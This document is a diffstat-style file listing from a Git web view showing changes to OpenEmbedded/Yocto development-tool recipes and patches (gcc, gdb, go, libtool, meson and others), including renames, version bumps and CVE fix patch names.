-rw-r--r--meta/recipes-devtools/gcc/gcc-cross_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-cross_9.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-crosssdk_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-crosssdk_9.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-multilib-config.inc34
-rw-r--r--meta/recipes-devtools/gcc/gcc-runtime.inc177
-rw-r--r--meta/recipes-devtools/gcc/gcc-runtime_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-runtime_9.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers.inc68
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb7
-rw-r--r--meta/recipes-devtools/gcc/gcc-sanitizers_9.2.bb7
-rw-r--r--meta/recipes-devtools/gcc/gcc-source_11.2.bb (renamed from meta/recipes-devtools/gcc/gcc-source_9.2.bb)0
-rw-r--r--meta/recipes-devtools/gcc/gcc-target.inc91
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch138
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch2282
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-CVE-2021-46195.patch128
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-Fix-install-path-of-linux64.h.patch33
-rw-r--r--meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch)15
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch39
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch1765
-rw-r--r--meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch226
-rw-r--r--meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch103
-rw-r--r--meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch142
-rw-r--r--meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0004-64-bit-multilib-hack.patch)38
-rw-r--r--meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch304
-rw-r--r--meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch573
-rw-r--r--meta/recipes-devtools/gcc/gcc/0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch63
-rw-r--r--meta/recipes-devtools/gcc/gcc/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch)22
-rw-r--r--meta/recipes-devtools/gcc/gcc/0009-cpp-honor-sysroot.patch59
-rw-r--r--meta/recipes-devtools/gcc/gcc/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch)60
-rw-r--r--meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch38
-rw-r--r--meta/recipes-devtools/gcc/gcc/0014-libtool.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0014-libtool.patch)9
-rw-r--r--meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch)11
-rw-r--r--meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch)25
-rw-r--r--meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch (renamed from meta/recipes-devtools/gcc/gcc-9.2/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch)11
-rw-r--r--meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch199
-rw-r--r--meta/recipes-devtools/gcc/gcc/0019-Ensure-target-gcc-headers-can-be-included.patch113
-rw-r--r--meta/recipes-devtools/gcc/gcc/0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch35
-rw-r--r--meta/recipes-devtools/gcc/gcc/0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch51
-rw-r--r--meta/recipes-devtools/gcc/gcc/0024-handle-sysroot-support-for-nativesdk-gcc.patch510
-rw-r--r--meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch99
-rw-r--r--meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch31
-rw-r--r--meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch78
-rw-r--r--meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch26
-rw-r--r--meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch88
-rw-r--r--meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch39
-rw-r--r--meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch83
-rw-r--r--meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch182
-rw-r--r--meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch26
-rw-r--r--meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch42
-rw-r--r--meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch95
-rw-r--r--meta/recipes-devtools/gcc/gcc_11.2.bb14
-rw-r--r--meta/recipes-devtools/gcc/gcc_9.2.bb14
-rw-r--r--meta/recipes-devtools/gcc/libgcc-common.inc12
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial.inc6
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial_11.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial_9.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc.inc20
-rw-r--r--meta/recipes-devtools/gcc/libgcc_11.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc_9.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgfortran.inc19
-rw-r--r--meta/recipes-devtools/gcc/libgfortran_11.2.bb (renamed from meta/recipes-devtools/gcc/libgfortran_9.2.bb)0
-rw-r--r--meta/recipes-devtools/gdb/gdb-8.3.1.inc21
-rw-r--r--meta/recipes-devtools/gdb/gdb-common.inc32
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian.inc12
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian_11.2.bb3
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian_8.3.1.bb3
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross.inc9
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross_11.2.bb2
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross_8.3.1.bb2
-rw-r--r--meta/recipes-devtools/gdb/gdb.inc30
-rw-r--r--meta/recipes-devtools/gdb/gdb/0001-gdbserver-ctrl-c-handling.patch26
-rw-r--r--meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch28
-rw-r--r--meta/recipes-devtools/gdb/gdb/0002-make-man-install-relative-to-DESTDIR.patch28
-rw-r--r--meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch35
-rw-r--r--meta/recipes-devtools/gdb/gdb/0003-mips-linux-nat-Define-_ABIO32-if-not-defined.patch35
-rw-r--r--meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch53
-rw-r--r--meta/recipes-devtools/gdb/gdb/0004-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch50
-rw-r--r--meta/recipes-devtools/gdb/gdb/0005-Add-support-for-Renesas-SH-sh4-architecture.patch914
-rw-r--r--meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch50
-rw-r--r--meta/recipes-devtools/gdb/gdb/0006-Dont-disable-libreadline.a-when-using-disable-static.patch50
-rw-r--r--meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch36
-rw-r--r--meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch30
-rw-r--r--meta/recipes-devtools/gdb/gdb/0007-use-asm-sgidefs.h.patch36
-rw-r--r--meta/recipes-devtools/gdb/gdb/0008-Use-exorted-definitions-of-SIGRTMIN.patch48
-rw-r--r--meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch48
-rw-r--r--meta/recipes-devtools/gdb/gdb/0009-Change-order-of-CFLAGS.patch30
-rw-r--r--meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch49
-rw-r--r--meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch40
-rw-r--r--meta/recipes-devtools/gdb/gdb/0010-resolve-restrict-keyword-conflict.patch48
-rw-r--r--meta/recipes-devtools/gdb/gdb/0011-Fix-invalid-sigprocmask-call.patch49
-rw-r--r--meta/recipes-devtools/gdb/gdb_11.2.bb39
-rw-r--r--meta/recipes-devtools/gdb/gdb_8.3.1.bb28
-rw-r--r--meta/recipes-devtools/git/git.inc135
-rw-r--r--meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch30
-rw-r--r--meta/recipes-devtools/git/git/fixsort.patch31
-rw-r--r--meta/recipes-devtools/git/git_2.24.0.bb11
-rw-r--r--meta/recipes-devtools/git/git_2.35.1.bb152
-rw-r--r--meta/recipes-devtools/glide/glide_0.13.2.bb38
-rw-r--r--meta/recipes-devtools/glide/glide_0.13.3.bb43
-rw-r--r--meta/recipes-devtools/gnu-config/gnu-config_git.bb13
-rw-r--r--meta/recipes-devtools/go/go-1.12.inc24
-rw-r--r--meta/recipes-devtools/go/go-1.12/0001-allow-CC-and-CXX-to-have-multiple-words.patch31
-rw-r--r--meta/recipes-devtools/go/go-1.12/0001-release-branch.go1.12-security-net-textproto-don-t-n.patch163
-rw-r--r--meta/recipes-devtools/go/go-1.12/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch218
-rw-r--r--meta/recipes-devtools/go/go-1.12/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch48
-rw-r--r--meta/recipes-devtools/go/go-1.12/0004-ld-add-soname-to-shareable-objects.patch45
-rw-r--r--meta/recipes-devtools/go/go-1.12/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch37
-rw-r--r--meta/recipes-devtools/go/go-1.12/0007-cmd-go-make-GOROOT-precious-by-default.patch106
-rw-r--r--meta/recipes-devtools/go/go-1.12/0008-use-GOBUILDMODE-to-set-buildmode.patch37
-rw-r--r--meta/recipes-devtools/go/go-1.12/0009-ld-replace-glibc-dynamic-linker-with-musl.patch112
-rw-r--r--meta/recipes-devtools/go/go-1.17.8.inc25
-rw-r--r--meta/recipes-devtools/go/go-1.18/0001-allow-CC-and-CXX-to-have-multiple-words.patch33
-rw-r--r--meta/recipes-devtools/go/go-1.18/0001-exec.go-do-not-write-linker-flags-into-buildids.patch41
-rw-r--r--meta/recipes-devtools/go/go-1.18/0001-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch41
-rw-r--r--meta/recipes-devtools/go/go-1.18/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch237
-rw-r--r--meta/recipes-devtools/go/go-1.18/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch52
-rw-r--r--meta/recipes-devtools/go/go-1.18/0004-ld-add-soname-to-shareable-objects.patch45
-rw-r--r--meta/recipes-devtools/go/go-1.18/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch41
-rw-r--r--meta/recipes-devtools/go/go-1.18/0006-cmd-dist-separate-host-and-target-builds.patch (renamed from meta/recipes-devtools/go/go-1.12/0006-cmd-dist-separate-host-and-target-builds.patch)127
-rw-r--r--meta/recipes-devtools/go/go-1.18/0007-cmd-go-make-GOROOT-precious-by-default.patch104
-rw-r--r--meta/recipes-devtools/go/go-1.18/0008-use-GOBUILDMODE-to-set-buildmode.patch42
-rw-r--r--meta/recipes-devtools/go/go-1.18/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch94
-rw-r--r--meta/recipes-devtools/go/go-binary-native_1.17.8.bb46
-rw-r--r--meta/recipes-devtools/go/go-common.inc18
-rw-r--r--meta/recipes-devtools/go/go-cross-canadian.inc9
-rw-r--r--meta/recipes-devtools/go/go-cross-canadian_1.17.8.bb (renamed from meta/recipes-devtools/go/go-cross-canadian_1.12.bb)0
-rw-r--r--meta/recipes-devtools/go/go-cross.inc14
-rw-r--r--meta/recipes-devtools/go/go-cross_1.17.8.bb (renamed from meta/recipes-devtools/go/go-cross_1.12.bb)0
-rw-r--r--meta/recipes-devtools/go/go-crosssdk.inc12
-rw-r--r--meta/recipes-devtools/go/go-crosssdk_1.17.8.bb (renamed from meta/recipes-devtools/go/go-crosssdk_1.12.bb)0
-rw-r--r--meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch54
-rw-r--r--meta/recipes-devtools/go/go-dep_0.5.4.bb24
-rw-r--r--meta/recipes-devtools/go/go-native.inc55
-rw-r--r--meta/recipes-devtools/go/go-native_1.12.bb2
-rw-r--r--meta/recipes-devtools/go/go-native_1.17.8.bb58
-rw-r--r--meta/recipes-devtools/go/go-runtime.inc38
-rw-r--r--meta/recipes-devtools/go/go-runtime_1.12.bb2
-rw-r--r--meta/recipes-devtools/go/go-runtime_1.17.8.bb3
-rw-r--r--meta/recipes-devtools/go/go-target.inc37
-rw-r--r--meta/recipes-devtools/go/go_1.12.bb14
-rw-r--r--meta/recipes-devtools/go/go_1.17.8.bb17
-rw-r--r--meta/recipes-devtools/help2man/help2man-native_1.47.11.bb24
-rw-r--r--meta/recipes-devtools/help2man/help2man_1.49.1.bb24
-rw-r--r--meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb43
-rw-r--r--meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb43
-rw-r--r--meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb7
-rw-r--r--meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb5
-rw-r--r--meta/recipes-devtools/intltool/intltool_0.51.0.bb24
-rw-r--r--meta/recipes-devtools/jquery/jquery_3.6.0.bb39
-rw-r--r--meta/recipes-devtools/json-c/json-c/add-disable-werror-option-to-configure.patch45
-rw-r--r--meta/recipes-devtools/json-c/json-c_0.13.1.bb22
-rw-r--r--meta/recipes-devtools/json-c/json-c_0.15.bb18
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch47
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch41
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0001-Make-__comps_objmrtree_all-static-inline.patch35
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch27
-rw-r--r--meta/recipes-devtools/libcomps/libcomps_0.1.18.bb23
-rw-r--r--meta/recipes-devtools/libcomps/libcomps_git.bb24
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch49
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch4
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch42
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch37
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch10
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch26
-rw-r--r--meta/recipes-devtools/libdnf/libdnf_0.28.1.bb28
-rw-r--r--meta/recipes-devtools/libdnf/libdnf_0.66.0.bb36
-rw-r--r--meta/recipes-devtools/libedit/libedit/0001-readline.c-fix-cannot-get-history.patch34
-rw-r--r--meta/recipes-devtools/libedit/libedit_20190324-3.1.bb20
-rw-r--r--meta/recipes-devtools/libedit/libedit_20210910-3.1.bb24
-rw-r--r--meta/recipes-devtools/libmodulemd/libmodulemd-v1/0001-spec_tmpl.sh-use-bin-sh-not-usr-bin-sh.patch22
-rw-r--r--meta/recipes-devtools/libmodulemd/libmodulemd-v1_git.bb25
-rw-r--r--meta/recipes-devtools/libmodulemd/libmodulemd_git.bb24
-rw-r--r--meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch51
-rw-r--r--meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch8
-rw-r--r--meta/recipes-devtools/librepo/librepo_1.10.6.bb27
-rw-r--r--meta/recipes-devtools/librepo/librepo_1.14.2.bb29
-rw-r--r--meta/recipes-devtools/libtool/libtool-2.4.6.inc34
-rw-r--r--meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb14
-rw-r--r--meta/recipes-devtools/libtool/libtool-native_2.4.6.bb6
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch37
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch68
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch35
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch37
-rw-r--r--meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch167
-rw-r--r--meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch24
-rw-r--r--meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch50
-rw-r--r--meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch72
-rw-r--r--meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch44
-rw-r--r--meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch69
-rw-r--r--meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch38
-rw-r--r--meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch35
-rw-r--r--meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch36
-rw-r--r--meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch26
-rw-r--r--meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch27
-rw-r--r--meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch133
-rwxr-xr-xmeta/recipes-devtools/libtool/libtool/debian-no_hostname.patch21
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch50
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch42
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-rpath.patch65
-rw-r--r--meta/recipes-devtools/libtool/libtool/fixinstall.patch6
-rw-r--r--meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch77
-rw-r--r--meta/recipes-devtools/libtool/libtool/norm-rpath.patch38
-rw-r--r--meta/recipes-devtools/libtool/libtool/prefix.patch98
-rw-r--r--meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch166
-rw-r--r--meta/recipes-devtools/libtool/libtool/trailingslash.patch35
-rw-r--r--meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch22
-rw-r--r--meta/recipes-devtools/libtool/libtool_2.4.6.bb10
-rw-r--r--meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb9
-rw-r--r--meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch31
-rw-r--r--meta/recipes-devtools/llvm/llvm_git.bb59
-rw-r--r--meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb19
-rw-r--r--meta/recipes-devtools/lua/lua/lua.pc.in10
-rw-r--r--meta/recipes-devtools/lua/lua/run-ptest19
-rw-r--r--meta/recipes-devtools/lua/lua_5.4.4.bb57
-rw-r--r--meta/recipes-devtools/m4/m4-1.4.18.inc62
-rw-r--r--meta/recipes-devtools/m4/m4-1.4.19.inc62
-rw-r--r--meta/recipes-devtools/m4/m4-native_1.4.19.bb (renamed from meta/recipes-devtools/m4/m4-native_1.4.18.bb)0
-rw-r--r--meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch37
-rw-r--r--meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch41
-rw-r--r--meta/recipes-devtools/m4/m4/ac_config_links.patch24
-rw-r--r--meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch130
-rw-r--r--meta/recipes-devtools/m4/m4_1.4.19.bb (renamed from meta/recipes-devtools/m4/m4_1.4.18.bb)0
-rw-r--r--meta/recipes-devtools/make/make.inc4
-rw-r--r--meta/recipes-devtools/make/make/0001-glob-Do-not-assume-glibc-glob-internals.patch70
-rw-r--r--meta/recipes-devtools/make/make/0001-m4-getloadavg.m4-restrict-AIX-specific-test-on-AIX.patch38
-rw-r--r--meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch38
-rw-r--r--meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch41
-rw-r--r--meta/recipes-devtools/make/make/0002-glob-Do-not-assume-glibc-glob-internals.patch38
-rw-r--r--meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch33
-rw-r--r--meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch36
-rw-r--r--meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch79
-rw-r--r--meta/recipes-devtools/make/make_4.2.1.bb12
-rw-r--r--meta/recipes-devtools/make/make_4.3.bb18
-rw-r--r--meta/recipes-devtools/makedevs/makedevs_1.0.1.bb7
-rw-r--r--meta/recipes-devtools/meson/meson.inc35
-rw-r--r--meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch42
-rw-r--r--meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch36
-rw-r--r--meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch26
-rw-r--r--meta/recipes-devtools/meson/meson/0001-mesonbuild-environment.py-check-environment-for-vari.patch26
-rw-r--r--meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch44
-rw-r--r--meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch53
-rw-r--r--meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch14
-rw-r--r--meta/recipes-devtools/meson/meson/0002-gobject-introspection-determine-g-ir-scanner-and-g-i.patch40
-rw-r--r--meta/recipes-devtools/meson/meson/0003-native_bindir.patch125
-rw-r--r--meta/recipes-devtools/meson/meson/cross-prop-default.patch23
-rw-r--r--meta/recipes-devtools/meson/meson/dbc9e971bd320f3df15c1ee74f54858e6792b183.patch95
-rw-r--r--meta/recipes-devtools/meson/meson/disable-rpath-handling.patch35
-rwxr-xr-xmeta/recipes-devtools/meson/meson/meson-setup.py18
-rwxr-xr-xmeta/recipes-devtools/meson/meson/meson-wrapper5
-rw-r--r--meta/recipes-devtools/meson/meson_0.52.0.bb3
-rw-r--r--meta/recipes-devtools/meson/meson_0.61.2.bb133
-rw-r--r--meta/recipes-devtools/meson/nativesdk-meson_0.52.0.bb66
-rw-r--r--meta/recipes-devtools/mklibs/files/ac_init_fix.patch19
-rw-r--r--meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch103
-rw-r--r--meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch26
-rw-r--r--meta/recipes-devtools/mklibs/files/fix_cross_compile.patch81
-rw-r--r--meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch34
-rw-r--r--meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch18
-rw-r--r--meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb22
-rw-r--r--meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch32
-rw-r--r--meta/recipes-devtools/mmc/mmc-utils_git.bb15
-rw-r--r--meta/recipes-devtools/mtd/mtd-utils_git.bb33
-rw-r--r--meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch6
-rw-r--r--meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch78
-rw-r--r--meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch18
-rw-r--r--meta/recipes-devtools/mtools/mtools_4.0.23.bb51
-rw-r--r--meta/recipes-devtools/mtools/mtools_4.0.37.bb49
-rw-r--r--meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch115
-rw-r--r--meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch294
-rw-r--r--meta/recipes-devtools/nasm/nasm/CVE-2018-19755.patch116
-rw-r--r--meta/recipes-devtools/nasm/nasm_2.14.02.bb22
-rw-r--r--meta/recipes-devtools/nasm/nasm_2.15.05.bb23
-rw-r--r--meta/recipes-devtools/ninja/ninja/fix-musl.patch46
-rw-r--r--meta/recipes-devtools/ninja/ninja_1.10.2.bb31
-rw-r--r--meta/recipes-devtools/ninja/ninja_1.9.0.bb32
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils/0001-Switch-all-scripts-to-use-Python-3.x.patch113
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-clamp-mtimes-to-SOURCE_DATE_EPOCH.patch44
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch28
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils_0.4.1.bb64
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb65
-rw-r--r--meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb10
-rw-r--r--meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb13
-rw-r--r--meta/recipes-devtools/opkg/opkg_0.4.1.bb81
-rw-r--r--meta/recipes-devtools/opkg/opkg_0.5.0.bb72
-rw-r--r--meta/recipes-devtools/orc/orc_0.4.29.bb26
-rw-r--r--meta/recipes-devtools/orc/orc_0.4.32.bb30
-rw-r--r--meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb16
-rw-r--r--meta/recipes-devtools/patch/patch.inc2
-rw-r--r--meta/recipes-devtools/patch/patch/CVE-2019-13636.patch2
-rw-r--r--meta/recipes-devtools/patch/patch/CVE-2019-20633.patch31
-rw-r--r--meta/recipes-devtools/patch/patch_2.7.6.bb6
-rw-r--r--meta/recipes-devtools/patchelf/patchelf/fix-adjusting-startPage.patch45
-rw-r--r--meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch41
-rw-r--r--meta/recipes-devtools/patchelf/patchelf_0.10.bb16
-rw-r--r--meta/recipes-devtools/patchelf/patchelf_0.14.5.bb18
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch31
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch27
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch (renamed from meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch)2
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch (renamed from meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch)2
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch (renamed from meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch)2
-rw-r--r--meta/recipes-devtools/perl-cross/files/README.md29
-rw-r--r--meta/recipes-devtools/perl-cross/files/determinism.patch46
-rw-r--r--meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb41
-rw-r--r--meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch24
